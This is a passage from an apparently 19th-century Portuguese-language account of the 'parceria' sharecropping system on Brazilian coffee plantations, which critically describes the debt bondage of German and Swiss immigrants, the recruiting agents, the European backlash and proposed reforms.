Este sistema foi, recentemente, por um rico fazendeiro da província de São Paulo, o senador Pereira de Campos Vergueiro, introduzido nas províncias centrais do Sul, províncias verdadeiramente cafeeiras; como aqui, porém, ainda não existissem desses lavradores, ou ao menos não em número bastante para produção crescente do café, foi preciso fazer importante modificação no sistema; e esta se realizou, fazendo-se a fusão da velha instituição brasileira dos lavradores com a de contratados (escravos brancos), como era antes costume na América do Norte.

Assim se originou o sistema moderno brasileiro de parceria: o fazendeiro manda recrutar à sua custa na Europa gente pobre desejosa de emigrar, e a traz para a sua fazenda, onde se contratam como meeiros, responsabilizando-se com a sua pessoa e seus trabalhos pelas despesas feitas, custeio da viagem, sustento dos primeiros tempos, etc.; enquanto não pagam tudo, e com os juros costumados do país, permanecem os parceristas como escravos do dono, como servos da gleba, presos ao solo; depois recuperam a liberdade e podem à vontade retirar-se ou, quando o queiram, entrar na situação de lavrador livre.

Nos contratos mais recentes se acrescentou uma cláusula digna de reflexão, pela qual as famílias são solidárias: um por todos, todos por um, ficam responsáveis pelo total da dívida; assim pode acontecer, em casos de morte, acumular-se sobre a cabeça de um único sobrevivente uma tão grande dívida, que, durante a sua vida inteira, e mesmo depois dele os seus filhos, tenham que trabalhar para resgatar a dívida.

Finalmente, para complemento destas disposições, vigora a lei brasileira dos servidores domésticos, de 11 de outubro de 1837, pela qual o empregado, que por justo motivo (por doença, embriaguez, etc.) for despedido pelo seu patrão, deve pagar logo a sua dívida, do contrário, pode ser condenado a trabalhos públicos, até pagamento da dívida, ou, no pior dos casos, a dois anos de prisão com trabalhos forçados. Este sistema o senador Vergueiro o aplicou primeiro em 1842, na sua fazenda Ibicaba, 30 léguas a NO de São Paulo, experimentando-o a princípio sobre 90 parceristas portugueses, grande parte dos quais se dispersaram, todavia, alguns meses depois, por ocasião de uma revolução provincial; nos fins de 1846 restavam somente vinte deles, aos quais se haviam reunido, nesse ínterim, duas famílias alemãs e uma das ilhas Canárias. Volveu então Vergueiro as suas vistas para a Alemanha, e os seus agentes conseguiram recrutar na Renânia 400 homens, que chegaram em junho de 1847 a Ibicaba e restabeleceram a colônia de parceria.

Dali se disseram muitas coisas desfavoráveis; o governo do império adiantava ao empreendedor as primeiras despesas da viagem, mais tarde concedeu-lhe o governo provincial consideráveis auxílios, e, não obstante, ele fazia de novo os parceristas indenizar tudo.

No contrato, em vez de repartir imediatamente a colheita, ele reservava exclusivamente para si a realização da venda no mercado, e só depois fazia as contas da metade da receita, de sorte que os meeiros nesse sentido ficavam inteiramente nas suas mãos; ele exigia mesmo a metade do produto dos mantimentos que eles cultivavam para vender; em referência a possíveis divergências, estava, finalmente, estipulado que seriam as mesmas, sem mais fórmula de processo nem apelação, apaziguadas por um árbitro, sem que sobre a escolha desse árbitro houvesse alguma disposição preestabelecida.

Em suma, tudo parecia concertado para conservar os parceristas na mais incondicional dependência e ganhar à sua custa o mais possível; e com efeito muitos deles, como demonstravam as contas que se tornaram conhecidas, ficavam ainda mais profundamente enterrados nas dívidas, depois de muitos anos de serviço. Todavia, apesar de tudo, na colônia Senador Vergueiro parece haver sido em geral rendoso o trabalho, e de quantos parceristas se despedissem sempre acudiam substitutos sem falta, de sorte que a população foi crescendo de modo considerável; começada com 426 almas, conta segundo os últimos relatórios (1856) 812, sendo 216 de língua portuguesa, os mais alemães ou suíços. E o que é mais de alegrar é que dessa colônia de parceristas sem liberdade surgiu já, desde 1851, uma colônia de livres proprietários de terras; vinte famílias alemãs, depois de haverem amortizado a sua dívida, compraram terras e estabeleceram-se a pequena distância da cidade de Campinas, numa colônia própria, a de Nova Campinas, onde agora cultivam por sua própria conta o cafeeiro. Isto, porém, não deixa de ser um exemplo quase que isolado, pois no interior da província de São Paulo pode dizer-se que não há terras sem dono, disponíveis, e a aristocracia dos fazendeiros não vende terreno algum, nem cede para aforamento; em regra geral, os parceristas que concluem o prazo do seu serviço, no caso não possuírem meios para emigrar de novo (ao Paraná, Santa Catarina, São Pedro), nunca poderão passar da condição incerta, pouco lucrativa, de lavradores ou jornaleiros.

São estes os princípios históricos do sistema de parceria. Não queremos de modo algum desconhecer que o pobre emigrante, embora, como já dissemos, só tendo muito duvidosa perspectiva para o futuro, sempre pode melhorar a sua situação material no presente. Isto no caso de entrar como parceristas de um fazendeiro, homem de bem, humanitário. Mas o caráter de um e de outro indivíduo é, afinal, coisa do acaso e sujeita à mudança; os males estão no próprio sistema, e, por isso, esse é condenável por princípio. O parcerista tem que se entregar ao acaso, inteiramente, nas mãos de um desconhecido, cujo interesse natural é conservar o servo temporário por meio de contas enganadoras, quanto possível, mesmo de preferência, para sempre, na servidão.

Por mais que os contratos sejam razoáveis e garantidos pelas autoridades, quem é que, numa terra meio selvagem, fiscalizará a execução dos mesmos em todas as suas cláusulas? E como se pode supor que um pobre estrangeiro, ignorante da língua e dos costumes, possa obter justiça contra o poderoso e influente fazendeiro? E, de resto, a experiência já condenara sistema idêntico: a instituição dos escravos brancos, que na América do Norte subsistiu muito tempo e que foi regulamentada por leis minuciosas, foi reconhecida ali, desde muito tempo, como indigna e inadmissível, e, desde o princípio do século XIX, extinta pela legislação.

Todavia, dessas considerações não se cogitou no Brasil; abolia-se justamente então o tráfico de negros (lei de 4 de setembro de 1850); cessava, portanto, a introdução contínua de africanos e, diante da produção crescente e procura de braços, via-se o país ameaçado pela dolorosa questão da falta de braços; ofereceu-se então o sistema de parceria e pareceu que se achava nos parceristas europeus, no proletariado alemão, uma compensação da falta dos negros.

Não nos deve, pois, causar espanto, nem devemos levar a mal, o haver este sistema encontrado a aprovação geral; como já se disse, os governos do império e provincial concederam de boa vontade ao inventor Vergueiro e à sua colônia modelo os mais solícitos auxílios, e a aristocracia de fazendeiros tratou de imitar o exemplo dado; por toda parte foram projetadas colônias de parceria, e surgiu pouco a pouco um grande número delas.

Só a província de São Paulo conta, segundo os mais recentes dados, 34 colônias, com 3.500 habitantes, dos quais 2.120 alemães ou suíços, os mais de língua portuguesa; mais, no Rio de Janeiro, cinco com preponderância de alemães e duas no Maranhão, com população inteiramente portuguesa.

A fim de recrutar gente para todas essas fundações coloniais, numerosos agentes, que costumavam receber uma determinada quantia por cabeça de parcerista alistado, entraram em atividade, sobretudo na Alemanha, com incansável diligência, desde cerca de 1851 até 1853; eram infatigáveis em elogios ao senador Vergueiro e à imigração por ele inventada, a chamada "imigração regular", que eles recomendavam particularmente como sistema sólido de emigração de pobres e como melhor meio de aliviarem as municipalidades do peso dos pobres; assim tiveram a princípio não pequeno sucesso. Todavia, os inconvenientes do sistema foram aparecendo sempre mais claramente; não só conservavam os mais novos contratos

de parceria todas as más estipulações dos primitivos, mas acrescentavam-se outras, especialmente a proibição de todo comércio a exercer pelos parceristas, portanto o monopólio do fazendeiro; a redação do contrato era em termos tão gerais e vagos, que deixava margem para as mais diversas interpretações; também em breve chegavam à Alemanha as mais tristes noticias, as mais amargas queixas das diferentes colônias.

O zelo pouco hábil de agentes interesseiros ainda piorou o estado de coisas; eles alistavam, sem encomenda alguma, parceristas alemães, por meio de contratos, nos quais o nome do fazendeiro e do local ficavam em branco, e estes contratos eram oferecidos à venda no Rio de Janeiro, pelos jornais, sem escrúpulo (março de 1853); em suma, parecia que a venda de almas, o comércio de escravos brancos dos séculos XVII e XVIII, estivessem revivendo em plena florescência!

Levantou-se na Alemanha então uma forte oposição contra todo sistema de parceria; a Sociedade Central Berlinense de imigração e colonização alemã, sustentada pela maioria da melhor imprensa alemã e particulares ricos, desmascarou sem piedade os inconvenientes existentes e os perigos decorrentes desse princípio, e chamava incansável a atenção do público, assim como a dos governos, sobre os agentes empenhados no indigno comércio; debalde procuraram estes defender-se em jornais pagos e por meio de brochuras; dentro de pouco tempo os contratos de parceria estavam condenados pela opinião pública, em muitos lugares intervieram as autoridades contra a conclusão deles e com isso se interrompeu quase completamente a corrente de parceristas alemães. Somente da Suíça continuaram, porque ali muitas municipalidades procuravam desse modo livrar-se dos seus mendigos, e, além disso, forçavam os imigrantes moços e sadios a levar consigo parentes e amigos, velhos e doentes ou avessos ao trabalho, como pertencentes à família. Finalmente, também aqui as queixas se foram tornando mais insistentes; muitos cantões viram-se forçados a mandar um seu delegado próprio, dr. Heusser, a investigar as condições das parcerias (novembro de 1856), e o seu relatório concorda em tudo com as advertências publicadas pela imprensa independente alemã.

"A tentativa feita do sistema de parceria, — disse ele, — malogrou-se de modo trágico, e, quanto ao motivo disso, verificamos tratar-se da falta de clareza e da elasticidade dos contratos, cobiça dos fazendeiros, porém igualmente preguiça, desmazelo e incapacidade de trabalho dos colonos".

O rebate da má vontade européia não deixou de repercutir no Brasil: o governo do império retraiu-se, por princípio, do sistema de parceria, recusou durante anos todo auxílio oficial a empresas dessa ordem. Todavia, parece que recentemente mudou de idéia e quer de novo conceder auxílio ao sistema das parcerias, quando feitas sob certas condições.

Ao menos, a 21 de agosto de 1856, propôs o ministério ao parlamento um projeto de lei, que regula, em geral, as condições entre fazendeiros e parceristas, trata da sua fiscalização regular e, finalmente, abre o caminho para tornarem-se os parceristas donos de terras, independentes; deverá o fazendeiro ser obrigado no futuro a vender a seus parceristas, que hajam concluído o prazo do serviço, pequenas porções de terras, e, isto não podendo ser (?), o próprio governo oferecerá à venda as ditas porções de terras na vizinhança da colônia de parceria.

Se tal lei chegará a realização, se poderá ser cumprida, é o que não se sabe, e parece muito duvidoso; porém, de todo modo, ela não removeria todos os inconvenientes, e dificilmente reconciliaria a opinião pública na Alemanha com o indigno sistema. É que as experiências feitas foram muito tristes: de muitas colônias de parceria chegaram notícias de atritos e de perturbações da ordem, e recentemente referiam os jornais (maio de 1857) que as autoridades tiveram que intervir em duas dessas colônias, na comarca de Ubatuba, província de São Paulo. Manifestamente a culpa aqui foi sobretudo do dono da fazenda; o governo tomou-lhe os seus par-ceristas alemães e suíços e os transferiu para a recém-fundada colônia de Santa Maria, província do Espírito Santo; todavia, investigação judicial parece que não houve; ao contrário, os fazendeiros receberam do tesouro o pagamento de todas as suas dívidas, e assim certamente não fizeram mau negócio. Sem dúvida merece neste caso grande louvor o procedimento do governo imperial brasileiro, que apenas exigiu dos colonos o reembolso de uma parte das despesas; contudo, fica bem patente que, embora dando razão aos parceristas, não ousou responsabilizar o poderoso fazendeiro; e o que se depreende de tudo isto só pode tornar mais forte a nossa aversão contra o sistema de parceria *.

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